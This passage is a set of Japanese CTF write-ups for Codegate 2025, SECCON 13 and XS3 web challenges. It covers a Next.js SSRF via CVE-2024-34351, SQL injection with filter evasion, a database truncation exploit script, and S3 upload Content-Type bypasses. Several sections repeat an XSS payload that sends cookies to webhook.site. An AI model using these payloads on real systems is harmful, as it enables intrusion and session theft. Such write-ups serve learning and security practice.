        if (!response.ok) {
            console.log(response);
            return NextResponse.json({ error: `Failed to fetch the URL. Status: ${response.status}` }, { status: 500 });
        }

        blockedIPs.add(ip);
        setTimeout(() => blockedIPs.delete(ip), 10 * 60 * 1000);

        console.log(`IP ${ip} Blocked`);

        return NextResponse.json({ message: "Sended!" }, { status: 200 });

どうやら x-forwarded-for ヘッダでレートリミットを制御しているらしい。
これならバイパスできそうだ。

POST /api/reset-game HTTP/1.1
Host: 43.203.168.235:3000
x-forwarded-for: yoden{{counter}}
Content-Length: 29

{ "url":"http://internal-server"}

適当な値を x-forwarded-for ヘッダに指定すると再度実行できた。
都度書き換えるのは面倒なので、yoden{{counter}} のようにして counter 部分を自動でインクリメントすることで回避できるようにしている。

HTTP/1.1 500 Internal Server Error
vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Url
content-type: application/json
Date: Sat, 29 Mar 2025 18:17:10 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 73

{"error":"An error occurred while fetching. Error message: fetch failed"}

fetch に失敗してエラーになっている。80番ポートでは何も動いてないみたいだ。

問題文曰く、「well-known」なポートで動いているらしい。自動化してポートスキャンを行う。
CLもよしなに書き変わるので、適当な値になっているがスルーして欲しい。

(正直well-knownというのも信用しきれず、見逃したら嫌なので1-65535でぶん回した。*1)

POST /api/reset-game HTTP/1.1
Host: 43.203.168.235:3000
x-forwarded-for: yoden{{counter}}
Content-Length: 29

{ "url":"http://internal-server:{{conter}}"}

結果、http://internal-server:808 で成功レスポンスが帰ってきた。
とはいえアクセス結果は見れないので、「どうしようか」となる。

とりあえず、パスを探索してみる。 下記をセットして、SecLists/Discovery/Web-Content/common.txt で回す。

POST /api/reset-game HTTP/1.1
Host: 43.203.168.235:3000
x-forwarded-for: yoden{{counter}}
Content-Length: 29

{ "url":"http://internal-server:{{path}}"}

結果、/archive と /login を発見。とはいえ現状では何もできない。
response.ok が false であればステータスコートがレスポンスに出てくるので /c/o/d/e/g/a/t/e みたいな感じでパスがflagになっているようなパターンも考えたが、ある程度 fuzzing してみても変化がない。

と、ここでチームメンバーが Next.js のバージョンが古いことに言及していたのを思い出した。

"next": "14.1.0",

確かに古い。雑に「nextjs ssrf」とかでググると、CVE-2024-34351 が見つかった。

github.com

とのこと。14.1.0 以下で / から始まる redirect を利用していると刺さるらしい。
ソースを見にいくと、ちゃんと使っていた。

export async function redirectGame() {
  return redirect("/hide-and-seek");
}

改めて最初の「Play」ボタンを押した際の通信を見てみると、PoCで見れるような通信が飛んでいる。

POST / HTTP/1.1
Host: 15.165.37.31:3000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: text/x-component
Accept-Language: ja,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: http://15.165.37.31:3000/
Next-Action: 6e6feac6ad1fb92892925b4e3766928a754aec71
Next-Router-State-Tree: %5B%22%22%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%5D%7D%2Cnull%2Cnull%2Ctrue%5D
Content-Type: text/plain;charset=UTF-8
Content-Length: 2
Origin: http://15.165.37.31:3000
DNT: 1
Connection: keep-alive
Priority: u=0

[]

先ほど貼ったGitHubの作者がPoC用のサーバを用意してくれているので、作者に感謝の念を送りながらexploit例に従って Host ヘッダと Origin ヘッダを書き換える。

POST / HTTP/1.1
Host: nextjs-cve-2024-34351.deno.dev
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: text/x-component
Accept-Language: ja,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: http://15.165.37.31:3000/
Next-Action: 6e6feac6ad1fb92892925b4e3766928a754aec71
Next-Router-State-Tree: %5B%22%22%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%5D%7D%2Cnull%2Cnull%2Ctrue%5D
Content-Type: text/plain;charset=UTF-8
Content-Length: 2
Origin: http://nextjs-cve-2024-34351.deno.dev
DNT: 1
Connection: keep-alive
Priority: u=0

[]
HTTP/1.1 303 See Other
Vary: Accept-Encoding
Cache-Control: s-maxage=1, stale-while-revalidate
x-action-revalidated: [[],0,0]
x-action-redirect: /hide-and-seek
accept-ranges: bytes
alt-svc: h3=":443"; ma=93600,h3-29=":443"; ma=93600,quic=":443"; ma=93600; v="43"
content-type: text/html
date: Sat, 29 Mar 2025 18:39:39 GMT
etag: "84238dfc8092e5d9c0dac8ef93371a07:1736799080.121134"
last-modified: Mon, 13 Jan 2025 20:11:20 GMT
x-nextjs-cache: HIT
X-Powered-By: Next.js
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 1256

<!doctype html>
<html>
<head>
    <title>Example Domain</title>
(snip)

ちゃんと刺さってる。
先ほどのGitHubを見にいくと、とてもありがたいことにexploit用のソースまで用意してくれていた。

github.com

再度作者に感謝の念を送りながら、今回の問題を快適に解くために少し改変する。

Deno.serve({ port: 80, hostname: "0.0.0.0" },(request: Request) => {
    console.log("Request received: " + JSON.stringify({
        url: request.url,
        method: request.method,
        headers: Array.from(request.headers.entries()),
    }));
    // Head - 'Content-Type', 'text/x-component');
    if (request.method === 'HEAD') {
        return new Response(null, {
            headers: {
                'Content-Type': 'text/x-component',
            },
        });
    }
    // Get - redirect to example.com
    if (request.method === 'GET') {
        return new Response(null, {
            status: 302,
            headers: {
                Location: request.headers.get('ssrf'),
            },
        });
    }
});

ssrf ヘッダでリダイレクト先を変えれる様にした。
これで任意のサーバにサクッとSSRFできる。

POST / HTTP/1.1
Host: {host}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: text/x-component
Accept-Language: ja,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: http://43.203.168.235:3000/
Next-Action: 6e6feac6ad1fb92892925b4e3766928a754aec71
Next-Router-State-Tree: %5B%22%22%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%5D%7D%2Cnull%2Cnull%2Ctrue%5D
Content-Type: text/plain;charset=UTF-8
Content-Length: 2
Origin: http://{host}
DNT: 1
Connection: keep-alive
Priority: u=0
ssrf: http://internal-server:808

[]
<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Main Page</title>
</head>

<body>
    <h1>Welcome to Internal server!</h1>
    <a href="/login">Go to Login Page</a>
    <a href="/archive">Go to Archive</a>
</body>

</html>

さっき苦労して見つけた /login と /archive がある。それぞれ確認する。

POST / HTTP/1.1
(snip)
ssrf: http://internal-server:808/login
<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Login Page</title>
</head>

<body>
    <h1>Login</h1>

    <!-- Just legacy code. But still work. -->
    <!-- Test Account: guest / guest -->

    <!-- <form action="/login" method="get">
        <input name="key" type="hidden" value="392cc52f7a5418299a5eb22065bd1e5967c25341">
        <label for="name">Username</label>
        <input name="username" type="text"><br>
        <label for="name">Password</label>
        <input name="password" type="text"><br>
        <button type="submit">Login</button>
    </form> -->

    <form action="/login" method="post">
        <label for="name">Username</label>
        <input name="username" type="text"><br>
        <label for="name">Password</label>
        <input name="password" type="text"><br>
        <button type="submit">Login</button>
    </form>

</body>

</html>
POST / HTTP/1.1
(snip)
ssrf: http://internal-server:808/archive
{"message":"Please Login."}

/login の方、GETでログインできそうなコメントアウトがあるので試してみる。

POST / HTTP/1.1
(snip)
ssrf: http://internal-server:808/login?key=392cc52f7a5418299a5eb22065bd1e5967c25341&username=guest&password=guest
{"message":"Welcome! guest, You are not admin."}

ログインできた。adminじゃないといけないらしい。

ここでまたしばらく詰まる。
「先ほど 'Please Login' と言われた /archive でもログインできないかな」と /archive?key=392cc52f7a5418299a5eb22065bd1e5967c25341&username=guest&password=guest にアクセスしてみたり、
/login?key=392cc52f7a5418299a5eb22065bd1e5967c25341&username=guest&password[]=guest にリクエストしたらexpressのエラーが出るのを発見したりしていた。

<pre>TypeError: input.replace is not a function<br>
 &nbsp; &nbsp;at /app/index.js:18:23<br>
 &nbsp; &nbsp;at Array.forEach (&lt;anonymous&gt;)<br>
 &nbsp; &nbsp;at sanitizeString (/app/index.js:16:15)<br>
 &nbsp; &nbsp;at /app/index.js:45:35<br>
 &nbsp; &nbsp;at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)<br>
 &nbsp; &nbsp;at next (/app/node_modules/express/lib/router/route.js:149:13)<br>
 &nbsp; &nbsp;at Route.dispatch (/app/node_modules/express/lib/router/route.js:119:3)<br>
 &nbsp; &nbsp;at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)<br>
 &nbsp; &nbsp;at /app/node_modules/express/lib/router/index.js:284:15<br>
 &nbsp; &nbsp;at Function.process_params (/app/node_modules/express/lib/router/index.js:346:12)</pre>

何をreplaceしてるんだろうなぁ・・・と思いながら色々試したら、' でSQLのエラーが発生した。
ソースもなしに手探りでSQLiを見つける、完全に脆弱性診断の気分だった。業務はCTFの役に立つ。*2

POST / HTTP/1.1
(snip)
ssrf: http://internal-server:808/login?key=392cc52f7a5418299a5eb22065bd1e5967c25341&username='&password=guest
{"message":"Database query failed. Query: SELECT * FROM users WHERE username = ''' AND password = 'guest'"}

では admin でログインしてやればいいか、と思いきや・・・

ssrf: http://internal-server:808/login?key=392cc52f7a5418299a5eb22065bd1e5967c25341&username=admin';-- &password=guest
{"message":"Database query failed. Query: SELECT * FROM users WHERE username = '';--' AND password = 'guest'"}

-- の後にスペースがないのは単純にミスなのだが、そのおかげで先ほどの input.replace の謎が解けた。
admin が消えていることから、一部ワードを replace で消しているらしい。 *3

こういう時は adadminmin みたいにしてやれば大体うまくいく。

ssrf: http://internal-server:808/login?key=392cc52f7a5418299a5eb22065bd1e5967c25341&username=adadminmin';-- &password=guest
{"message":"Welcome! admin, Flag is your password."}

ログインできたが、まだゴールじゃないらしい。adminのパスワードがFlagとのこと。
admin 以外にも or や password などのワードが消されていたので、適宜回避しながらUNION SELECTしたらFlagが手に入った。

ssrf: http://internal-server:808/login?key=392cc52f7a5418299a5eb22065bd1e5967c25341&username='union select (select passwoorrd from users limit 1,1),null;-- &password=guest
{"message":"Welcome! codegate2025{83ef613335c8534f61d83efcff6c2e18be19743069730d77bf8fb9b18f79bfb9}, You are not admin."}

Blind-SQLi を覚悟したが、ユーザ名を出力してくれていて助かった。Flagが長すぎる。

最後に推し「ハイドアンドシーク」を3つ紹介しておく。

www.nicovideo.jp

youtu.be

youtu.be

*1:「guess問ではサーバ負荷に遠慮しなくて良い」とマックで隣のJKが話していた。

*2:月刊業務

*3:チームメンバーのメモを見て知ったが、他の問題も謎のブラックボックスパートがあったらしい。

SECCON CTF 13 Quals Writeups

[web] Trillion Bank (web, warmup: 108 pt / 84 solves)

Can you get over $1,000,000,000,000?

アクセスしてみると、ユーザ登録を要求される。

Trillion Bank - TOP

登録したら10円が付与され、自由なユーザに送金できる。

Trillion Bank - Transfer

こういうのは真っ先に負数の送金が思い浮かぶが、ちゃんと対策されている。

  const amount = parseInt(req.body.amount);
  if (!isFinite(amount) || amount <= 0) {
    res.status(400).send({ msg: "Invalid amount" });
    return;
  }

送金時の処理を見てみると、なんだか変な方法で実装されているのが気になった。

  • idで検索した結果のユーザからbalanceをマイナス
  • nameで検索した結果のユーザにbalanceをプラス
    await conn.query("UPDATE users SET balance = balance - ? WHERE id = ?", [
      amount,
      req.user.id,
    ]);
    await conn.query("UPDATE users SET balance = balance + ? WHERE name = ?", [
      amount,
      recipientName,
    ]);

idの値が異なり、nameが重複したユーザを作成できればお金を無限に増やすことが可能であることがわかる。
nameの重複対策に関してはnames.hasで行っていて、同じ名前では登録ができないようになっている。

app.post("/api/register", async (req, res) => {
  const name = String(req.body.name);
  if (!/^[a-z0-9]+$/.test(name)) {
    res.status(400).send({ msg: "Invalid name" });
    return;
  }
  if (names.has(name)) {
    res.status(400).send({ msg: "Already exists" });
    return;
  }
  names.add(name);

  const [result] = await db.query("INSERT INTO users SET ?", {
    name,
    balance: 10,
  });

ユーザ登録のリクエストを同時に大量に送信するレースコンディションが思い浮かんだが、ローカルのコンテナでも成功しなかったのでその線は薄い。

テーブルの情報を見てみるとnameはTEXT型である。
TEXT型は65535文字が最大文字数となっていて、MySQLは超過した文字を切り捨てるらしい。

  await db.query(
    `
    CREATE TABLE users (
      id INT AUTO_INCREMENT NOT NULL,
      name TEXT NOT NULL,
      balance BIGINT NOT NULL,
      PRIMARY KEY (id)
    )
  `.trim()
  );

ここでnames.hasでは別のユーザ名として扱われ、MySQLによって65535文字で切り捨てられたときに同じユーザ名となるように登録すれば良いと考えられる。

ユーザを3つ作成してお金を増やすのを自動化したらflagが得れる。

import random
import string

import requests

url = "http://trillion.seccon.games:3000"
# url = "http://localhost:3000"
u1_name = ''.join(random.choices(string.ascii_lowercase, k=65535))
u2_name = u1_name + "a"
u3_name = u1_name + "b"

u1 = requests.Session()
u1_balance = 10
u1.post(f"{url}/api/register", json={
    "name": u1_name
})

u2 = requests.Session()
u2_balance = 10
u2.post(f"{url}/api/register", json={
    "name": u2_name
})

u3 = requests.Session()
u3_balance = 10
u3.post(f"{url}/api/register", json={
    "name": u3_name
})

while u1_balance < 10000000000000:
    res = u2.post(f"{url}/api/transfer",
                  json={"recipientName": u1_name, "amount": u2_balance})
    u1_balance += u2_balance
    u3_balance += u2_balance
    res = u3.post(f"{url}/api/transfer",
                  json={"recipientName": u1_name, "amount": u3_balance})
    u1_balance += u3_balance
    u2_balance += u3_balance
    print(u1_balance, u2_balance, u3_balance)

print(u1.get(f"{url}/api/me").text)
$ py solve.py 
40 30 20
120 80 50
(snip)
25047307819600 15480087559200 9567220260410
{"id":1,"iat":1732620922,"balance":25047307819600,"flag":"SECCON{The_Greedi3st_Hackers_in_th3_W0r1d:1,000,000,000,000}"}

self-ssrf (web: 193 pt / 23 solves)

Guess the flag, or abuse the /ssrf endpoint.

まず全てのリクエストの最初に、flagというクエリパラメータが含まれているかのチェックが入る。
含まれていない場合はその時点で/flag?flag=guess_the_flagへ誘導するレスポンスを送信する。

app.use("/", (req, res, next) => {
  if (req.query.flag === undefined) {
    const path = "/flag?flag=guess_the_flag";
    res.send(`Go to <a href="${path}">${path}</a>`);
  } else next();
});

正しいflagをqueryにつけて/flagにアクセスするとflagが得れることがわかる。

app.get("/flag", (req, res) => {
  res.send(
    req.query.flag === FLAG // Guess the flag
      ? `Congratz! The flag is '${FLAG}'.`
      : `<marquee>🚩🚩🚩</marquee>`,
  );
});

/ssrfというエンドポイントに、hostnameとprotocolの条件に当てはまるリクエストを送信すると、正しいflagを付けて/flagのエンドポイントにリクエストを送信してくれる。

app.get("/ssrf", async (req, res) => {
  try {
    const url = new URL(req.url, LOCALHOST);

    if (url.hostname !== LOCALHOST.hostname) {
      res.send("Try harder 1");
      return;
    }
    if (url.protocol !== LOCALHOST.protocol) {
      res.send("Try harder 2");
      return;
    }

    url.pathname = "/flag";
    url.searchParams.append("flag", FLAG);
    res.send(await fetch(url).then((r) => r.text()));

/ssrfのエンドポイントを利用するためにはflagのクエリパラメータが必要となる。
/ssrf?flag=hoge

この時、/flagへ送信されるリクエストは下記のようになる。
/flag?flag=hoge&flag=SECCON{dummy}

最終的に二つあるflagパラメータが配列として処理されてしまうため、/flagのレスポンスではflagを得ることができないという形だ。

searchParams: URLSearchParams {
  "flag": [ "hoge", "SECCON{dummy}" ],
}

おそらくパースが変なんだろうなぁという気持ちでqsのテストケースからいろいろ試していたら刺さった。

github.com

http://self-ssrf.seccon.games:3000/ssrf?flag[=]=a

Congratz! The flag is 'SECCON{Which_whit3space_did_you_u5e?}'.

XSSS / XS3 Challenges Writeups

1. Introduction

Server Side Upload (easy: 20 pt / solves)

Are you familiar with the Feature to upload files to object storage via a server?

Server Side Upload - TOP

ファイルのアップロード機能と、URL を報告する機能のみがある。

Web Application と Crawler のソースコードが配布されている。
Crawler に関しては「※ If no announcement is made, all "Crawler" source codes are the same.」とあるので、ほぼすべての問題で共通。

まずは Crawler のソースを見ると、Cookie に flag をセットしてユーザ入力のURLにアクセスするらしいことがわかる。

  // DOMAIN is Challenge Page Domain
  page.setCookie({
    name: "flag",
    value: process.env.FLAG || "flag{dummy}",
    domain: process.env.DOMAIN || "example.com",
  });

ではアプリケーション側のソースを見ると、アップロードしたファイルを s3 に格納している。

server.post('/api/upload', async (request, reply) => {
  const data = await request.file({
    limits: {
      fileSize: 1024 * 1024 * 100,
      files: 1,
    },
  });
  if (!data) {
    return reply.code(400).send({ error: 'No file uploaded' });
  }

  const filename = uuidv4();
  const s3 = new S3Client({});
  const command = new PutObjectCommand({
    Bucket: process.env.BUCKET_NAME,
    Key: `upload/${filename}`,
    Body: data.file,
    ContentLength: data.file.bytesRead,
    ContentType: data.mimetype,
  });

  await s3.send(command);
  reply.send(`/upload/${filename}`);
  return reply;
});

アップロードされたファイルは /upload/<uuid> のようなパスでアクセスできるので、試しにHTMLファイルをアップロード、アクセスしてみたらXSSできた。

<html><script>alert(1)</script></html>

Server Side Upload - alert

flag は bot の Cookie にあるので、それを盗むような JS をアップロードして URL を報告することで flag が手に入る。

<html><script>fetch("https://webhook.site/<uuid>?cookie=" + document.cookie);</script></html>

flag{bfe061955a7cf19b12ff0f224e88d65a470e800a}

Pre Signed Upload (easy: 20 pt / solves)

Can you spot the flaws in the "Pre Signed URL"? 

注目すべき差分はファイルアップロード部分のみ。

  const allow = ['image/png', 'image/jpeg', 'image/gif'];
  if (!allow.includes(request.body.contentType)) {
    return reply.code(400).send({ error: 'Invalid file type' });
  }

  const filename = uuidv4();
  const s3 = new S3Client({});
  const command = new PutObjectCommand({
    Bucket: process.env.BUCKET_NAME,
    Key: `upload/${filename}`,
    ContentLength: request.body.length,
    ContentType: request.body.contentType,
  });

  const url = await getSignedUrl(s3, command, {
    expiresIn: 60 * 60 * 24,
  });
  return reply.header('content-type', 'application/json').send({
    url,
    filename,
  });

Content-Type が画像であるかをチェックして、署名付きURLでアップロードをするようになった。

だが、 getSignedUrl の引数に signableHeaders が含まれていない。
署名付きURLを入手してから、ファイルアップロード時にヘッダ情報を書き換えることが可能だ。

ファイルアップロードの実行時に発生する一番最初のリクエストを "contentType":"image/png" に書き換え、

POST /api/upload HTTP/2
(snip)

{"contentType":"image/png","length":123}

ファイルの本体をアップロードするリクエストは text/html のままとする。

PUT /upload/85415194-19f4-42a8-a5f7-37f4dc67f126?X-Amz-Algorithm=...
Content-Type: text/html
(snip)

<html><script>fetch("https://webhook.site/<uuid>?cookie=" + document.cookie);</script></html>

これで text/html のままファイルがアップロードできるので、XSSが成功する。

flag{fc6f76dd4368e888c1bc878b7750b374c891639f}

POST Policy (Post Policy, easy: 20 pt / solves)

In addition to Pre Signed URLs, there are other ways to upload directly from the client.

さっきとはちょっと違った方法でアップロードしている。

  const filename = uuidv4();
  const s3 = new S3Client({});
  const { url, fields } = await createPresignedPost(s3, {
    Bucket: process.env.BUCKET_NAME!,
    Key: `upload/${filename}`,
    Conditions: [
      ['content-length-range', 0, 1024 * 1024 * 100],
      ['starts-with', '$Content-Type', 'image'],
    ],
    Fields: {
      'Content-Type': request.body.contentType,
    },
    Expires: 600,
  });

とはいえ正直、 ['starts-with', '$Content-Type', 'image'], しか読んでいない。
Content-Type が image から 始まる 必要があるらしい。

ここで Content-Type: imagetest のように適当な値で送信すると、ブラウザはレスポンスの内容から頑張って Content-Type を推測しようとする。
ということで、「MIMEスニッフィング」と呼ばれる古の攻撃手法が使えそうだ。

一つ目のリクエストを "contentType":"imagetest" とする。
(ちなみにこの問題のみクライアント側で Content-Type の検証がはいるので、書き換えて無効化する)

{"contentType":"imagetest","length":123}

するとファイルアップロード時の Content-Type も imagetest となるので、そのまま送信。

------WebKitFormBoundaryC8OUBLbtyS7nONno
Content-Disposition: form-data; name="Content-Type"

imagetest
------WebKitFormBoundaryC8OUBLbtyS7nONno
(snip)
------WebKitFormBoundaryC8OUBLbtyS7nONno
Content-Disposition: form-data; name="file"; filename="stealcookie.html"
Content-Type: text/html

<html><script>fetch("https://webhook.site/<uuid>?cookie=" + document.cookie);</script></html>
------WebKitFormBoundaryC8OUBLbtyS7nONno--

アップロードされたファイルに直接アクセスしてみると Content-Type: imagetest となっているが、これを Chrome で読み込むと HTML として解釈され、XSSが成功する。

HTTP/2 200 OK
Content-Type: imagetest
(snip)

<html><script>fetch("https://webhook.site/<uuid>?cookie=" + document.cookie);</script></html>

flag{c137e5b9b7afd4b13a15839a26153940beeefc7d}

2. Validation Bypass

Is the end safe? (easy: 50 pt / solves)

Is Content-Type secure if the end matches?

  const contentTypeValidator = (contentType: string) => {
    if (contentType.endsWith('image/png')) return true;
    if (contentType.endsWith('image/jpeg')) return true;
    if (contentType.endsWith('image/jpg')) return true;
    return false;
  };

(snip)

  const url = await getSignedUrl(s3, command, {
    expiresIn: 60 * 60 * 24,
    signableHeaders: new Set(['content-type', 'content-length']),
  });

Content-Type が image/png, image/jpeg, image/jpg のどれかで 終わる 必要がある。

そして、getSignedUrl に content-type が渡されるようになった。
これで「Pre Signed Upload」で使った手法はもう使えず、POST /api/upload に送る contentType と PUT /upload/... に送る Content-Type が一致してないとアップロードできなくなる。

  const url = await getSignedUrl(s3, command, {
    expiresIn: 60 * 60 * 24,
    signableHeaders: new Set(['content-type', 'content-length']),
  });

それでも testimage/png とかにして「POST Policy」 の問題でやったMIMEスニッフィングで行けそうに見えるが、そうするとファイルとしてダウンロードされてしまう。/ が含まれているとスニッフィングの挙動が大きく変わるようだ。

本来の MIME タイプは「タイプ/サブタイプ;引数=値」の形式となっているので、「値」のところに image/png を含めれば行けそうだと考える。

{"contentType":"text/html;test=image/png","length":123}
PUT /upload/1194c7e3-e0f1-412d-82c7-74e62a23c337?X-Amz-Algorithm=...
Content-Type: text/html;test=image/png
(snip)

<html><script>fetch("https://webhook.site/<uuid>?cookie=" + document.cookie);</script></html>

flag{97ce55c30c8dc3a34cd73bbf3f49c2bb15a89617}

Just included? (easy: 50 pt / solves)

include

validation が変化した。
; が含まれるか、 'image/(jpg|jpeg|png|gif)$' の正規表現に沿わないとアウトらしい。

  if (request.body.contentType.includes(';')) {
    return reply.code(400).send({ error: 'No file type (only type/subtype)' });
  }

  const allow = new RegExp('image/(jpg|jpeg|png|gif)$');
  if (!allow.test(request.body.contentType)) {
    return reply.code(400).send({ error: 'Invalid file type' });
  }

とりあえず正規表現で $ が含まれていることから、また末尾に含める必要があるのは確定。
; に関しては、「こういう書き方してくるってことはそろそろフォーマットから外れた値を入れるタイミングかな」と考えてガチャガチャやっていたら text/html image/png で行けた。

{"contentType":"text/html image/png","length":123}
PUT /upload/b5cbf5e6-c8aa-495f-8672-0ec7bf8ba7c9?X-Amz-Algorithm=...
Content-Type: text/html image/png
(snip)

<html><script>fetch("https://webhook.site/<uuild>?cookie=" + document.cookie);</script></html>

flag{acc9b4786f6bf003a75f32b5607c92530dcf6b9f}

forward priority... (easy: 50 pt / solves)

Is it really a good idea if the preffix match?

startsWith, endsWith で見てくるようになった。

  const allowContentTypes = ['image/png', 'image/jpeg', 'image/jpg'];

  const isAllowContentType = allowContentTypes.filter((contentType) => request.body.contentType.startsWith(contentType) && request.body.contentType.endsWith(contentType));
  if (isAllowContentType.length === 0) {
    return reply.code(400).send({ error: 'Invalid file type' });
  }

問題名にも「priority」とあるのがヒントなのだろうが、MIME タイプに q の引数を渡すと 0 ~ 1 で優先順位がつけれる。
startsWith は image/png;q=0,text/html;q=1 で満たせるし、endsWith は「Is the end safe?」でやった引数に渡す方法で満たす。

{"contentType":"image/png;q=0,text/html;q=1;test=image/png","length":123}
PUT /upload/2be6f452-d3cf-41f8-8b90-b9f2d7b0d2cc?X-Amz-Algorithm=...
Content-Type: image/png;q=0,text/html;q=1;test=image/png
(snip)

<html><script>fetch("https://webhook.site/<uuid>?cookie=" + document.cookie);</script></html>

flag{f9eedd5f8b508ff8b03b803affb00d381826047b}

3. Logic Bug

Content extension (medium: 100 pt / solves)

問題文無し

アップロード時の Content-Type の処理がちょっと複雑になった。

  const denyStringRegex = /[\s\;()]/;

  if (denyStringRegex.test(request.body.extention)) {
    return reply.code(400).send({ error: 'Invalid file type' });
  }

  const allowExtention = ['png', 'jpeg', 'jpg', 'gif'];

  const isAllowExtention = allowExtention.filter((ext) => request.body.extention.includes(ext)).length > 0;
  if (!isAllowExtention) {
    return reply.code(400).send({ error: 'Invalid file extention' });
  }

  const contentType = `image/${request.body.extention}`;
  const filename = uuidv4();
  const s3 = new S3Client({});
  const command = new PutObjectCommand({
    Bucket: process.env.BUCKET_NAME,
    Key: `upload/${filename}`,
    ContentLength: request.body.length,
    ContentType: contentType,
  });

[\s\;()] に当てはまるとアウト
ファイルの拡張子が 'png', 'jpeg', 'jpg', 'gif' のどれかである必要がある

validation を抜けたら、拡張子を使って image/${request.body.extention} という風に Content-Type を組み立ててアップロードする。

とりあえずvalidationを抜ける書き方を前提に考えていく。「スペースで区切ったときは先に書いた方が採用されたが、, とかどうだろう」と考えてやってみたら行けた。

{"extention":"png,text/html","length":123}
PUT /upload/7e11803c-ca80-4bd0-b9aa-da7ce088543b?X-Amz-Algorithm=...
Content-Type: image/png,text/html

<html><script>fetch("https://webhook.site/<uuid>?cookie=" + document.cookie);</script></html>

flag{b1b3fcx5f8b508ff8b03b803affb00d381826047b}

4. Advanced

frame (medium?: 200 pt / solves)

問題文無し

  const command = new PutObjectCommand({
    Bucket: process.env.BUCKET_NAME,
    Key: `upload/${filename}`,
    ContentLength: request.body.length,
    ContentType: request.body.contentType,
    ContentDisposition: 'attachment',
  });

  const url = await getSignedUrl(s3, command, {
    expiresIn: 60 * 60 * 24,
    signableHeaders: new Set(['content-type', 'content-disposition']),
  });

Content-Type のバリデーション無し。
なんでもアップロードできるが、getSignedUrl によって ContentDisposition: attachment が強制されている。

この状態でアップロードし /upload/<uuid> にアクセスするとファイルとしてダウンロードされてしまうのでXSSができない。

その代わり、アップロードしたファイルを iframe で読み込む /viewer というページが増えた。

      const denyMimeSubTypes = ['html', 'javascript', 'xml', 'json', 'svg', 'xhtml', 'xsl'];

      const extractMimeType = (contentTypeAndParams) => {
        const [contentType, ...params] = contentTypeAndParams.split(';');
        console.log(`Extracting content type: ${contentType}`);
        console.log(`Extracting params: ${JSON.stringify(params)}`);
        const [type, subtype] = contentType.split('/');
        console.log(`Extracting type: ${type}`);
        console.log(`Extracting subtype: ${subtype}`);
        return { type, subtype, params };
      };

      const isDenyMimeSubType = (contentType) => {
        console.log(`Checking content type: ${contentType}`);
        const { subtype } = extractMimeType(contentType);
        return denyMimeSubTypes.includes(subtype.trim().toLowerCase());
      };

      window.onload = async () => {
        const url = new URL(window.location.href);
        const path = url.pathname.slice(1).split('/');
        path.shift();
        const key = path.join('/');
        console.log(`Loading file: /${key}`);

        const response = await fetch(`/${key}`);

(snip)

        const contentType = response.headers.get('content-type');
        if (isDenyMimeSubType(contentType)) {
          console.error(`Failed to load file: /${key}`);
          document.body.innerHTML = '<h1>Failed to load file due to invalid content type</h1>';
          return;
        }
        const blobUrl = URL.createObjectURL(await response.blob());
        document.body.innerHTML = `<iframe src="${blobUrl}" style="width: 100%; height: 100%"></iframe>`;

ということで、アップロードしたファイルを /viewer/upload/<uuid> として開けるようになった。

しかし開く際に Content-Type の制限があり、extractMimeType でパースした subtype が 'html', 'javascript', 'xml', 'json', 'svg', 'xhtml', 'xsl' のどれかだったらアウト。
これは / で分割しているだけでパースがだいぶ余いので、text/html a とかにすれば行ける。

{"contentType":"text/html a","length":130}
PUT /upload/276f6fb2-58cb-4a8c-b244-2b37313cdc5e?X-Amz-Algorithm=...
Content-Type: text/html a
(snip)

<html><script>fetch("https://webhook.site/<uuid>?cookie=" + parent.document.cookie);</script></html>

フレーム内のXSSなので、parent が必要 (ここでめちゃめちゃ詰まっていて反省)

flag{d41d8cd98f00b204e9800998ecf8427e}

sniff? (medium?: 150 pt / solves)

問題文無し

  const denyStrings = new RegExp('[;,="\'()]');

  if (denyStrings.test(request.body.contentType)) {
    return reply.code(400).send({ error: 'Invalid content type' });
  }

  if (!request.body.contentType.startsWith('image') || !['jpeg', 'jpg', 'png', 'gif'].includes(request.body.contentType.split('/')[1])) {
    return reply.code(400).send({ error: 'Invalid image type' });
  }

  const filename = uuidv4();
  const s3 = new S3Client({});
  const command = new PutObjectCommand({
    Bucket: process.env.BUCKET_NAME,
    Key: `upload/${filename}`,
    ContentType: `${request.body.contentType.split('/')[0]}/${request.body.contentType.split('/')[1]}`,
  });

[;,="\'()] の条件に当てはまるとアウト
image から始まる必要がある
/ 以降が 'jpeg', 'jpg', 'png', 'gif' のどれかである必要がある

とりあえずこの条件を抜けれる文字列を作りながらスペースで区切ってみたらそのままXSSできてしまった。

{"contentType":"imagetest test/png","length":123}
PUT /upload/b69ff56e-2018-4e56-84ac-cbc88ad4580e?X-Amz-Algorithm=...
Content-Type: imagetest test/png

<html><script>fetch("https://webhook.site/<uuid>?cookie=" + document.cookie);</script></html>

flag{c4ca4238a0b923820dcc509a6f75849b}

GEToken (medium: 150 pt / solves)

問題文無し。この問題だけCrawlerが違う。
というのも、 cognito で認証を行った後に localstorage に格納している。

  const client = new CognitoIdentityProviderClient({ region: process.env.REGION, credentials: undefined });
  const command = new InitiateAuthCommand({
    AuthFlow: 'USER_PASSWORD_AUTH',
    ClientId: process.env.COGNITO_USER_POOL_CLIENT_ID || '',
    AuthParameters: {
      USERNAME: process.env.ADMIN_USERNAME || '',
